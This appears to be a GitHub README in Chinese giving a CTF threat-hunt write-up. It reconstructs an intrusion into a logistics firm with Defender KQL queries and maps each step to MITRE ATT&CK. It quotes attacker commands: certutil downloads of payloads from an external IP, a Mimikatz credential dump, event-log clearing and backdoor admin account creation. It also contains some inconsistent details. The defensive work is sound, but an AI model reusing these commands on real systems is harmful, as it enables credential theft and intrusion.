alexander-morrison/Threat-Hunt_Port-of-Entry-Azuki
GitHub: alexander-morrison/Threat-Hunt_Port-of-Entry-Azuki
一份完整的威胁狩猎调查报告,展示如何使用 KQL 在 Microsoft Defender 中分析攻击者活动并映射到 MITRE ATT&CK 框架。
Stars: 0 | Forks: 0
# 🕵️ CTF 威胁搜寻报告
# 入境口岸 – Azuki Import/Export (梓貿易株式会社)
## 📌 事件简报
Azuki Import/Export Trading Co. 是一家在日本和东南亚之间运营、拥有 23 名员工的物流公司,经历了一起疑似商业间谍事件。
一家竞争对手组织以恰好 3% 的差价抢走了一份 6 年的运输合同。不久之后,机密的供应商合同和定价数据在地下论坛被发现。
这表明发生了一次针对性的入侵和数据窃取事件。
## 🏢 组织概况
- **公司:** Azuki Import/Export Trading Co.
- **行业:** 航运与物流
- **员工人数:** 23
- **主要受损系统:** `AZUKI-SL` (IT 管理员工作站)
- **证据来源:** Microsoft Defender for Endpoint 日志
## 🎯 调查目标
调查旨在确定:
1. 初始访问方式是什么?
2. 哪些账户遭到了入侵?
3. 发生了哪些侦察活动?
4. 攻击者如何逃避防御?
5. 建立了哪些持久化机制?
6. 是否进行了凭据窃取?
7. 数据是如何收集和暂存的?
8. 使用了什么窃取通道?
9. 是否观察到横向移动?
10. 采取了哪些反取证行动?
## 🛠 工具与方法
调查使用以下工具进行:
- **Microsoft Defender for Endpoint**
- **Kusto Query Language (KQL)**
分析的主要日志来源:
- `DeviceLogonEvents`
- `DeviceProcessEvents`
- `DeviceNetworkEvents`
- `DeviceFileEvents`
- `DeviceRegistryEvents`
所有发现均来自 2025-11-18 至 2025-11-20 之间的事件遥测数据。
# 🚩 Flag 1 – 初始访问:远程访问来源
## 🎯 目标
识别负责成功远程桌面协议 (RDP) 登录受损系统的源 IP 地址。
## 🛠 使用的 KQL 查询
DeviceLogonEvents
| where DeviceName == "azuki-sl"
| where TimeGenerated between (datetime(2025-11-18) .. datetime(2025-11-20))
| where isnotempty(RemoteIP)
| where ActionType == "LogonSuccess"
| project TimeGenerated, AccountName, LogonType, RemoteIP, DeviceName, ActionType
## 📊 证据
对成功登录事件的分析显示:
- **时间戳:** 2025-11-19 18:36:21 UTC
- **账户:** kenji.sato
- **登录类型:** 远程/网络活动
- **远程 IP:** 88.97.178.12
- **设备:** azuki-sl
IP 地址 `88.97.178.12` 是一个公共外部 IP 地址,不属于私有内部范围。
随后来自 `10.0.8.9` 的活动表明在初始入侵后发生了内部移动。
## ❓ Flag 1 问题:
攻击者使用的初始访问方式是什么?
## ✅ Flag 1 答案: 88.97.178.12
## 🧠 分析
攻击者利用来自外部 IP 地址 `88.97.178.12` 的有效凭据,通过远程桌面协议获得了对 `AZUKI-SL` 的未授权访问。
这确认了初始入侵点并确定了入侵的外部来源。
## 🧭 MITRE ATT&CK 映射
- **T1078** – 有效账户
- **T1021.001** – 远程桌面协议
# 🚩 Flag 2 – 初始访问:受损用户账户
## 🎯 目标
识别在未授权远程桌面会话期间遭到入侵并使用的用户账户。
## 🛠 使用的 KQL 查询
DeviceLogonEvents
| where DeviceName == "azuki-sl"
| where TimeGenerated between (datetime(2025-11-18) .. datetime(2025-11-20))
| where isnotempty(RemoteIP)
| where ActionType == "LogonSuccess"
| project TimeGenerated, AccountName, LogonType, RemoteIP, DeviceName, ActionType
## 📊 证据
对成功身份验证事件的分析显示:
- **时间戳:** 2025-11-19 18:36:21 UTC
- **账户:** kenji.sato
- **登录类型:** 解锁 / 网络
- **远程 IP:** 88.97.178.12
- **设备:** azuki-sl
账户 `kenji.sato` 从外部 IP 地址 `88.97.178.12` 成功通过身份验证,该地址此前已被确定为未授权 RDP 会话的来源。
随后来自内部 IP `10.0.8.9` 的登录活动表明在初始入侵后仍有持续活动。
## ❓ Flag 2 问题:
哪个用户账户被用于执行恶意活动?
## ✅ Flag 2 答案: kenji.sato
## 🧠 分析
账户 `kenji.sato` 被成功用于从外部 IP 地址向 `AZUKI-SL` 进行身份验证。
这证实了:
- 凭据受损
- 未授权的远程访问
- 使用了有效账户身份验证
攻击者利用了合法凭据,而不是利用软件漏洞。
## 🧭 MITRE ATT&CK 映射
- **T1078** – 有效账户
- **T1021.001** – 远程桌面协议
# 🚩 Flag 3 – 侦察:网络探测
## 🎯 目标
识别攻击者进行的入侵后侦察活动的证据。
## 🛠 使用的 KQL 查询
DeviceProcessEvents
| where DeviceName == "azuki-sl"
| where TimeGenerated between (datetime(2025-11-19T18:00:00Z) .. datetime(2025-11-21))
| where ProcessCommandLine has_any ("arp", "net view", "nbtstat", "netstat", "ping")
| project TimeGenerated, FileName, ProcessCommandLine,
InitiatingProcessFileName, AccountName
| order by TimeGenerated asc
## 📊 证据
识别出以下可疑进程执行:
- **时间戳:** 2025-11-19 19:04:01 UTC
- **进程:** ARP.EXE
- **命令:** `ARP.EXE -a`
- **发起进程:** powershell.exe
- **账户:** kenji.sato
`arp -a` 命令枚举 ARP 缓存以识别本地网络上的其他系统。
该命令是通过 `powershell.exe` 在受损账户下执行的事实,强烈表明了人工侦察活动。
## ❓ Flag 3 问题:
在受损主机上使用什么命令进行了网络侦察?
## ✅ Flag 3 答案: arp -a
## 🧠 分析
在获得访问权限后,攻击者使用以下方式进行了本地网络发现:
- ARP 表枚举
这表明攻击者正在:
- 识别内部主机
- 映射本地子网
- 为潜在的横向移动做准备
使用 PowerShell 启动命令进一步表明了人工操作行为,而非自动化系统行为。
## 🧭 MITRE ATT&CK 映射
- **T1016** – 系统网络配置发现
- **T1046** – 网络服务发现
- **T1059.001** – PowerShell
# 🚩 Flag 4 – 防御规避:隐藏的暂存目录
## 🎯 目标
识别通过创建或隐藏用于暂存的目录来进行防御规避的证据。
## 🛠 使用的 KQL 查询
DeviceProcessEvents
| where DeviceName == "azuki-sl"
| where TimeGenerated between (datetime(2025-11-19T18:00:00Z) .. datetime(2025-11-22))
| where ProcessCommandLine has_any ("mkdir", "md ", "New-Item", "attrib")
| project TimeGenerated, FileName, ProcessCommandLine,
InitiatingProcessFileName, AccountName
| order by TimeGenerated asc
## 📊 证据
执行了以下可疑命令:
- **时间戳:** 2025-11-19 19:05:33 UTC
- **进程:** attrib.exe
- **命令:** `attrib.exe +h +s C:\ProgramData\WindowsCache`
- **发起进程:** powershell.exe
- **账户:** kenji.sato
该命令将以下属性应用于目录:C:\ProgramData\WindowsCache
- `+h` → 隐藏属性
- `+s` → 系统属性
此操作将目录从标准用户视图中隐藏,除非启用隐藏/系统文件显示,否则会降低其可见性。
## ❓ Flag 4 问题:
创建或修改了哪个目录并将其隐藏以暂存恶意文件?
## ✅ Flag 4 答案: C:\ProgramData\WindowsCache
## 🧠 分析
攻击者修改了目录属性,以隐藏 `C:\ProgramData` 下的暂存位置。
这强烈表明:
- 创建了隐藏的暂存目录
- 为数据收集或窃取做准备
- 故意的防御规避
使用带有 `+h +s` 参数的 `attrib.exe` 是隐藏恶意文件的常用技术。
## 🧭 MITRE ATT&CK 映射
- **T1564.001** – 隐藏文件和目录
- **T1059.001** – PowerShell
# 🚩 Flag 5 – 防御规避:Windows Defender 文件扩展名排除
## 🎯 目标
确定有多少文件扩展名被排除在 Windows Defender 扫描之外。
## 📊 证据
在以下位置观察到注册表修改:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions
以下文件扩展名被添加为排除项:
- `.bat`
- `.ps1`
- `.exe`
每个条目的操作类型为:
- `RegistryValueSet`
这证实攻击者配置 Windows Defender 忽略特定的可执行文件和脚本文件类型。
## ❓ Flag 5 问题:
有多少文件扩展名被排除在 Windows Defender 扫描之外?
## ✅ Flag 5 答案: 3
## 🧠 分析
通过排除:
- 批处理文件 (`.bat`)
- PowerShell 脚本 (`.ps1`)
- 可执行文件 (`.exe`)
攻击者确保常见的载荷格式不会被 Windows Defender 扫描或隔离。
这显著提高了以下操作的成功率:
- 恶意脚本执行
- 载荷部署
- 持久化机制
## 🧭 MITRE ATT&CK 映射
- **T1562.001** – 禁用或修改工具
- **T1112** – 修改注册表
# 🚩 Flag 6 – 防御规避:Windows Defender 路径排除
## 📊 证据
在以下位置观察到注册表修改:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
以下路径被添加为排除项:
- `C:\Users\KENJI~1.SAT\AppData\Local\Temp`
**操作类型:** `RegistryValueSet`
这表明攻击者配置 Windows Defender 忽略用户的本地 Temp 目录。
## ❓ Flag 6 问题:
哪个具体路径被排除在 Windows Defender 扫描之外?
## ✅ Flag 6 答案: C:\Users\KENJI~1.SAT\AppData\Local\Temp
## 🧠 分析
通过排除用户的 **Temp 目录**,攻击者确保了:
- 释放的载荷不会被扫描
- 暂存在 Temp 中的脚本和可执行文件将逃避检测
- 恶意活动可以在降低隔离风险的情况下执行
Temp 目录是以下活动的常见位置:
- 恶意软件暂存
- 脚本执行
- 工具部署
这有力地表明在进一步恶意行动之前存在故意的防御规避。
## 🧭 MITRE ATT&CK 映射
- **T1562.001** – 禁用或修改工具
- **T1112** – 修改注册表
# 🚩 Flag 7 – 用于载荷下载的 Living off the Land Binary (LOLBAS)
## 📊 证据
识别出涉及以下内容的可疑进程执行:
- **进程:** `certutil.exe`
- **命令示例:**
- `certutil.exe -urlcache -f http://78.141.196.6:8080/svchost.exe C:\ProgramData\WindowsCache\svchost.exe`
- `certutil.exe -urlcache -f http://78.141.196.6:8080/AdobeGC.exe C:\ProgramData\WindowsCache\AdobeGC.exe`
- **发起进程:** `powershell.exe`
- **账户:** kenji.sato
`-urlcache -f` 标志表明 `certutil.exe` 被用于从远程服务器下载文件并将其保存在本地。
## ❓ Flag 7 问题:
哪个 Living-off-the-Land Binary (LOLBAS) 被用于下载载荷?
## ✅ Flag 7 答案: certutil.exe
## 🧠 分析
`certutil.exe` 是一个合法的 Windows 实用程序,常被滥用为 **Living off the Land Binary (LOLBAS)**。
在此案例中,它被用于:
- 从外部 IP 地址下载载荷
- 将它们保存到先前隐藏的暂存目录中
- 绕过传统的下载监控机制
使用 `certutil.exe` 进行文件下载是一种众所周知的攻击者技术,因为:
- 它由 Microsoft 签名
- 它通常被应用程序允许通过
- 它与合法的系统活动混杂在一起
这表明存在活跃的载荷暂存和可能的恶意软件部署。
## 🧭 MITRE ATT&CK 映射
- **T1105** – 入口工具转移
- **T1218** – 签名二进制代理执行
- **T1059.001** – PowerShell
## 📊 证据
使用以下查询过滤器识别出计划任务创建事件:
- `ProcessCommandLine` 包含 `"schtasks"`
- `ProcessCommandLine` 包含 `"/create"`
观察到的执行:
- **进程:** `schtasks.exe`
- **命令:** schtasks.exe /create /tn "Windows Update Check" /tr ...
- **发起进程:** `powershell.exe`
- **账户:** kenji.sato
- **时间戳:** 2025-11-19 19:07:46 UTC
`/tn` 参数指定任务名称。
# 🚩 Flag 8 – 通过恶意计划任务实现持久化
## 📊 证据
使用以下查询过滤器识别出计划任务创建事件:
- `ProcessCommandLine` 包含 `"schtasks"`
- `ProcessCommandLine` 包含 `"/create"`
观察到的执行:
- **进程:** `schtasks.exe`
- **命令:**
- `schtasks.exe /create /tn "Windows Update Check" /tr ...`
- **发起进程:** `powershell.exe`
- **账户:** kenji.sato
- **时间戳:** 2025-11-19 19:07:46 UTC
`/tn` 参数指定正在创建的任务名称。
## ❓ Flag 8 问题:
攻击者创建的计划任务名称是什么?
## ✅ Flag 8 答案: Windows Update Check
## 🧠 分析
攻击者使用 `schtasks.exe` 创建了一个名为 **"Windows Update Check"** 的计划任务作为持久化机制。
此技术允许:
- 自动执行恶意载荷
- 在系统启动或计划的时间间隔执行
- 无需手动重新进入即可实现长期访问
任务名称经过刻意选择,以显得合法并与正常的 Windows 系统活动混杂,从而降低在管理审查期间被检测到的可能性。
## 🧭 MITRE ATT&CK 映射
- **T1053.005** – 计划任务
- **T1547** – 启动或登录自动执行
- **T1059.001** – PowerShell
# 🚩 Flag 9 – 通过计划任务执行的恶意载荷
## 📊 证据
计划任务创建命令揭示了载荷的执行路径。
观察到的执行:
- **进程:** `schtasks.exe`
- **命令:**
- `schtasks.exe /create /tn "Windows Update Check" /tr C:\ProgramData\WindowsCache\svchost.exe /sc daily ...`
- **发起进程:** `powershell.exe`
- **账户:** kenji.sato
- **时间戳:** 2025-11-19 19:07:46 UTC
`/tr` 参数指定计划任务将运行的程序。
配置的任务设置为执行:C:\ProgramData\WindowsCache\svchost.exe
## ❓ Flag 9 问题:
配置为通过恶意计划任务运行的可执行文件是什么?
## ✅ Flag 9 答案: C:\ProgramData\WindowsCache\svchost.exe
## 🧠 分析
攻击者配置计划任务以执行伪装成 `svchost.exe` 的恶意二进制文件。
主要观察结果:
- 文件位于 `C:\ProgramData\WindowsCache`,这是先前隐藏的暂存目录。
- 文件名模仿合法的 Windows 系统进程。
- 任务设置为每日运行,建立了持久执行。
使用受信任的系统进程名称结合非标准目录是一种常见的规避技术,旨在避免在随意检查时被发现。
这证实了成功的载荷部署和持久化。
## 🧭 MITRE ATT&CK 映射
- **T1053.005** – 计划任务
- **T1036** – 伪装
- **T1547** – 启动或登录自动执行
# 🚩 Flag 10 – 识别出的命令与控制 (C2) 通信
## 📊 证据
使用以下过滤器分析网络连接事件:
- `DeviceName == "azuki-s1"`
- `InitiatingProcessFileName` 包含 `"svchost.exe"` 或 `"mm.exe"`
观察到的可疑出站连接:
- **时间戳:** 2025-11-19 19:11:04 UTC
- **远程 IP:** 78.141.196.6
- **远程端口:** 443
- **发起进程:** `svchost.exe`
虽然建立了到合法 Microsoft 端点的其他连接,但这个外部 IP 突显为未知,且此前与载荷投递活动有关联。
恶意 `svchost.exe`(从暂存目录运行)通过 HTTPS(端口 443)发起了到此远程地址的通信。
## ❓ Flag 10 问题:
用于命令与控制通信的外部 IP 地址是什么?
## ✅ Flag 10 答案: 78.141.196.6
## 🧠 分析
在建立持久化后,恶意 `svchost.exe` 通过端口 443 开始向 **78.141.196.6** 进行出站通信。
关键指标:
- 通信发生在计划任务执行后不久。
- 该 IP 地址此前用于载荷托管。
- 连接源自位于 `C:\ProgramData\WindowsCache` 的伪装 `svchost.exe` 二进制文件。
此行为强烈表明命令与控制 (C2) 活动,允许攻击者:
- 发出远程命令
- 窃取数据
- 维持对受损主机的控制
使用端口 443 有助于将恶意流量与正常的 HTTPS 活动混杂在一起。
## 🧭 MITRE ATT&CK 映射
- **T1071.001** – 应用层协议:Web 协议
- **T1105** – 入口工具转移
- **T1036** – 伪装
# 🚩 Flag 11 – 用于命令与控制通信的端口
## 📊 证据
网络连接事件显示了由恶意 `svchost.exe` 发起的出站流量。
观察到的可疑连接:
- **时间戳:** 2025-11-19 19:11:04 UTC
- **远程 IP:** 78.141.196.6
- **远程端口:** 443
- **发起进程:** `svchost.exe`
观察到通过端口 **443** 向同一外部 IP 的多次连接,表明加密的 HTTPS 通信。
## ❓ Flag 11 问题:
用于命令与控制通信的端口是什么?
## ✅ Flag 11 答案: 443
## 🧠 分析
恶意二进制文件通过 **端口 443** 与外部 C2 服务器通信,该端口通常用于 HTTPS 流量。
使用端口 443 为攻击者提供了几个优势:
- 将恶意流量与合法的加密 Web 流量混杂
- 绕过允许出站 HTTPS 的严格防火墙规则
- 在没有 SSL/TLS 解密的情况下使检查更加困难
这证实了加密的 Web 流量被用于维持命令与控制通信。
## 🧭 MITRE ATT&CK 映射
- **T1071.001** – 应用层协议:Web 协议
- **T1573** – 加密通道
# 🚩 Flag 12 – 识别出的凭据转储工具
## 📊 证据
进程执行日志针对已知的凭据转储指标进行了过滤:
- `ProcessCommandLine` 包含:
- `"sekurlsa"`
- `"logonpasswords"`
- `"lsadump"`
- `"minidump"`
- `"mimikatz"`
- `"pass-the-hash"`
观察到的事件:
- **时间戳:** 2025-11-19 19:08:26 UTC
- **进程:** `mm.exe`
- **命令:**
- `"mm.exe" privilege::debug sekurlsa::logonpasswords exit`
- **账户:** kenji.sato
该命令包含 `sekurlsa::logonpasswords`,这是一个众所周知的用于从内存转储凭据的 Mimikatz 模块。
## ❓ Flag 12 问题:
什么可执行文件被用于执行凭据转储?
## ✅ Flag 12 答案: mm.exe
## 🧠 分析
攻击者执行了 `mm.exe`,这很可能是 **Mimikatz** 的重命名版本,用于执行凭据转储。
指标:
- 使用了 `privilege::debug`
- 使用了 `sekurlsa::logonpasswords`
- 在受损用户账户下执行
将 Mimikatz 重命名为 `mm.exe` 是一种常见的规避策略,旨在:
- 避免基于签名的检测
- 绕过基本的进程名监控
- 与看起来合法的可执行文件混杂
这证实攻击者通过从 LSASS 内存中获取凭据提升了其能力。
## 🧭 MITRE ATT&CK 映射
- **T1003.001** – 操作系统凭据转储:LSASS 内存
- **T1555** – 来自密码存储的凭据
- **T1036** – 伪装
# 🚩 Flag 13 – 使用的凭据转储模块
## 📊 证据
进程执行日志揭示了凭据转储期间使用的具体 Mimikatz 模块。
观察到的事件:
- **时间戳:** 2025-11-19 19:08:26 UTC
- **进程:** `mm.exe`
- **命令:**
- `"mm.exe" privilege::debug sekurlsa::logonpasswords exit`
- **账户:** kenji.sato
命令明确包含:sekurlsa::logonpasswords
此模块通常用于从 LSASS 内存中提取明文凭据和 NTLM 哈希。
## ❓ Flag 13 问题:
执行了哪个凭据转储模块?
## ✅ Flag 13 答案: sekurlsa::logonpasswords
## 🧠 分析
攻击者使用 Mimikatz 中的 `sekurlsa::logonpasswords` 模块从内存中提取凭据。
关键细节:
- `privilege::debug` 启用必要的调试权限。
- `sekurlsa::logonpasswords` 针对 LSASS 内存。
- 检索到的凭据可能包括:
- 明文密码
- NTLM 哈希
- Kerberos 票据
此技术允许攻击者在环境中提升权限并进行横向移动。
结合使用重命名的二进制文件 (`mm.exe`) 和直接模块调用,表明了故意的凭据窃取活动。
## 🧭 MITRE ATT&CK 映射
- **T1003.001** – 操作系统凭据转储:LSASS 内存
- **T1558** – 窃取或伪造 Kerberos 票据
- **T1036** – 伪装
# 🚩 Flag 14 – 识别出的暂存数据存档
## 📊 证据
使用以下过滤器审查了存档文件的文件创建事件:
- `ActionType == "FileCreated"`
- `FileName` 以以下结尾:
- `.cab`
- `.zip`
- `.7z`
观察到的可疑文件创建:
- **时间戳:** 2025-11-19 19:08:58 UTC
- **文件名:** `export-data.zip`
- **文件夹路径:** `C:\ProgramData\WindowsCache\`
- **文件大小:** 4763 字节
该存档是在此前用于恶意载荷存储的同一暂存目录中创建的。
## ❓ Flag 14 问题:
为数据暂存创建的存档文件名是什么?
## ✅ Flag 14 答案: export-data.zip
## 🧠 分析
攻击者创建了 `export-data.zip`,可能是为了打包收集的数据以进行窃取。
关键指标:
- 文件在凭据转储活动后不久创建。
- 位于 `C:\ProgramData\WindowsCache`,即攻击者建立的暂存目录。
- 命名暗示了故意的收集和准备。
此行为符合常见的攻击者工作流程:
1. 获取凭据
2. 收集敏感数据
3. 压缩成存档
4. 准备窃取
这证实了从凭据访问到数据暂存的进展。
## 🧭 MITRE ATT&CK 映射
- **T1560.001** – 归档收集的数据:通过实用程序归档
- **T1074.001** – 暂存数据:本地数据暂存
- **T1003.001** – 操作系统凭据转储:LSASS 内存
# 🚩 Flag 15 – 识别出的数据窃取目的地
## 📊 证据
分析了针对常见文件共享和云存储服务的连接的网络事件:
监控的域名包括:
- dropbox
- drive.google
- onedrive
- mega
- discord
- slack
- wetransfer
- box.com
- gofile
- file.io
查询结果:
- **onedrive.live.com** – 334 个连接(可能是合法活动)
- **discord.com** – 1 个连接
`discord.com` 的出现表明可能通过公共消息传递/文件共享平台进行了数据窃取。
## ❓ Flag 15 问题:
哪个平台被用于数据窃取?
## ✅ Flag 15 答案: discord
## 🧠 分析
虽然 OneDrive 显示了高连接量但这在企业环境中通常是预期的。
然而,到 **discord.com** 的连接引人注目,因为:
- Discord 常被滥用于恶意软件 C2 和数据窃取。
- 它允许通过 HTTPS(端口 443)上传文件。
- 流量与正常的加密 Web 活动混杂。
- 它在企业网络中通常未被阻断。
鉴于先前的活动:
1. 凭据转储 (`mm.exe`)
2. 存档创建 (`export-data.zip`)
3. 通过 HTTPS 的外部通信
Discord 连接强烈表明发生了数据窃取。
## 🧭 MITRE ATT&CK 映射
- **T1567.002** – 窃取到云存储
- **T1041** – 通过 C2 通道窃取
- **T1071.001** – 应用层协议:Web 协议
# 🚩 Flag 16 – 识别出的已清除 Windows 事件日志
## 📊 证据
进程执行日志针对带有 `cl`(清除日志)参数的 `wevtutil.exe` 使用情况进行了过滤。
观察到的命令:
- `"wevtutil" cl "Security"`
- `"wevtutil" cl "System"`
- `"wevtutil" cl "Application"`
- `"wevtutil" cl "Microsoft-Windows-PowerShell/Operational"`
第一个被清除的日志是:
- **Security**
## ❓ Flag 16 问题:
清除了哪个 Windows 事件日志?
## ✅ Flag 16 答案: Security
## 🧠 分析
攻击者使用 `wevtutil.exe cl` 清除了多个 Windows 事件日志。
清除 **Security** 日志尤为重要,因为它包含:
- 登录事件
- 账户活动
- 权限提升事件
- 审计日志
这表明了故意的反取证活动,以删除以下证据:
- 凭据转储
- 权限提升
- 可疑登录
清除事件日志是入侵接近尾声时常用的防御规避策略。
## 🧭 MITRE ATT&CK 映射
- **T1070.001** – 主机上的指示器移除:清除 Windows 事件日志
- **T1562.001** – 损害防御
# 🚩 Flag 17 – 创建的未授权本地账户
## 📊 证据
使用以下工具审查了账户操纵的进程执行日志:
- `net.exe`
- `net1.exe`
观察到的命令:
- `"net.exe" user support ******** /add`
- `net1 user support ******** /add`
- `"net.exe" localgroup Administrators support /add`
- `net1 localgroup Administrators support /add`
命令清楚地显示创建了一个名为:support 的新用户账户
然后该账户被添加到 **Administrators** 组。
## ❓ Flag 17 问题:
新创建的本地账户名是什么?
## ✅ Flag 17 答案: support
## 🧠 分析
攻击者创建了一个新的本地账户:
- **用户名:** support
- 添加到:**Administrators 组**
这提供了:
- 持久的特权访问
- 如果主要凭据被撤销后的备份访问权限
- 交互式或远程登录的能力
在凭据转储后创建新的管理员账户是一种常见的持久化和权限提升技术。
同时使用 `net.exe` 和 `net1.exe` 表明存在冗余或可能的规避尝试。
## 🧭 MITRE ATT&CK 映射
- **T1136.001** – 创建账户:本地账户
- **T1098** – 账户操纵
- **T1068** – 权限提升
# 🚩 Flag 18 – 识别出的恶意 PowerShell 脚本
## 📊 证据
审查了在临时目录中创建的 PowerShell 脚本的文件创建事件:
应用的过滤器:
- `ActionType == "FileCreated"`
- `FileName` 以 `.ps1` 结尾
- `FolderPath` 包含 `Temp`
- 日期:2025-11-19
观察到的可疑文件:
- **时间戳:** 2025-11-19 18:49:48 UTC
- **文件名:** `wupdate.ps1`
- **文件夹路径:** `C:\Users\kenji.sato\AppData\Local\Temp\wupdate.ps1`
该文件在正常的 PowerShell 临时策略测试脚本中脱颖而出。
## ❓ Flag 18 问题:
创建的可疑 PowerShell 脚本名称是什么?
## ✅ Flag 18 答案: wupdate.ps1
## 🧠 分析
脚本名称 `wupdate.ps1` 似乎在模仿合法的 Windows Update 进程,表明:
- 社会工程学 / 伪装
- 防御规避
- 可能的载荷执行或暂存
关键指标:
- 在用户的 Temp 目录中创建
- 名称旨在与 Windows Update 活动混杂
- 出现在活跃的攻击者操作时间线期间
此脚本可能用作:
- 初始载荷
- 持久化机制
- 或用于进一步攻击者活动的暂存脚本
## 🧭 MITRE ATT&CK 映射
- **T1059.001** – 命令和脚本解释器:PowerShell
- **T1036** – 伪装
- **T1105** – 入口工具转移
# 🚩 Flag 19 – 识别出的横向移动目标
## 📊 证据
审查了横向移动工具的进程执行日志:
应用的过滤器:
- `mstsc`
- `cmdkey`
- `psexec`
- `wmic`
- `net use`
从命令行参数中提取了目标 IP 地址。
观察到的活动:
- `"mstsc.exe" /v:10.1.0.188`
- 时间戳:2025-11-22 00:38:47 UTC
这表明尝试远程桌面连接到:10.1.0.188
## ❓ Flag 19 问题:
哪个 IP 地址是横向移动的目标?
## ✅ Flag 19 答案: 10.1.0.188
## 🧠 分析
攻击者使用 `mstsc.exe` (Microsoft 终端服务客户端) 向内部 IP 地址发起 RDP 会话。
主要观察结果:
- 内部网络 IP 范围 (10.1.0.x)
- 发生在凭据转储之后
- 账户创建已经发生
- 表明使用了获取的凭据
这证实了:
- 内部网络内的横向移动
- 攻击者立足点扩展到初始主机之外
## 🧭 MITRE ATT&CK 映射
- **T1021.001** – 远程服务:远程桌面协议
- **T1550** – 使用有效账户
- **T1078** – 有效账户
# 🚩 Flag 20 – 识别出的横向移动工具
## 📊 证据
进程执行日志针对远程桌面使用情况进行了过滤:
应用的过滤器:
- `FileName` 在 ("mstsc.exe", "mstsc") 中
- 命令行包含:
- `/v:`
- `-v`
观察到的活动:
- **文件名:** mstsc.exe
- **命令示例:** `"mstsc.exe" /v:10.1.0.108`
- 在 2025-11-25 观察到多次执行
这证实攻击者使用了 Windows 远程桌面客户端。
## ❓ Flag 20 问题:
使用了什么工具执行横向移动?
## ✅ Flag 20 答案: mstsc.exe
## 🧠 分析
攻击者使用了:mstsc.exe
这是原生 Windows **远程桌面协议 (RDP) 客户端**。
关键指标:
- 带有 `/v:` 的命令行使用
- 内部 IP 定向 (10.1.0.x 范围)
- 活动发生在凭据转储和账户创建之后
这证实了:
- 使用了合法的管理工具
- 通过 RDP 进行横向移动
- 可能使用了被盗或新创建的凭据
此技术与正常的管理行为混杂,常用于后渗透阶段。
## 🧭 MITRE ATT&CK 映射
- **T1021.001** – 远程服务:远程桌面协议
- **T1078** – 有效账户
- **T1550** – 使用被盗凭据
# 🔎 威胁搜寻总结 – 行动结论
## 概述
在 2025 年 11 月 19 日至 25 日之间,针对主机 **azuki-sl** 的威胁搜寻揭示了一次包含执行、凭据窃取、持久化、数据窃取、日志篡改和横向移动的完整端到端入侵。
调查证实了人工操作攻击者活动,而非自动化商品恶意软件。
## 关键发现
- **初始执行:** 恶意 PowerShell 脚本 `wupdate.ps1` 从 Temp 目录执行。
- **凭据访问:** 重命名的 Mimikatz (`mm.exe`) 配合 `sekurlsa::logonpasswords` 使用,以转储 LSASS 凭据。
- **持久化:** 创建了本地管理员账户 `support` 并添加到 Administrators 组。
- **数据暂存:** 敏感数据被压缩到 `export-data.zip` 中。
- **窃取:** 到 `discord.com` 的出站连接可能用于传输暂存数据。
- **防御规避:** Windows 事件日志(包括 Security 日志)通过 `wevtutil` 清除。
- **横向移动:** RDP (`mstsc.exe`) 被用于跳板到内部主机 `10.1.0.188`。
## 影响评估
攻击者实现了:
- 对受损主机的管理控制
- 凭据获取能力
- 内部网络跳板访问
- 成功的数据窃取
- 混淆活动的日志篡改
由于确认了凭据受损和横向移动,此事件被评估为 **高严重性**。
## 结论
威胁搜寻成功识别并重建了完整的攻击生命周期。强烈建议立即进行遏制、重置凭据、审查跳板系统上的日志,并加强对凭据滥用和 RDP 活动的监控。
✅ 调查完成。
标签:AD攻击, Cloudflare, DNS 反向解析, IP 地址批量处理, KQL, Kusto Query Language, Microsoft Defender for Endpoint, MITRE ATT&CK, RDP, 企业 espionage, 企业安全, 入侵分析, 安全运营, 微软Defender, 扫描框架, 攻击溯源, 数字取证, 数据窃取, 网络信息收集, 网络安全报告, 网络资产管理, 自动化脚本, 远程桌面协议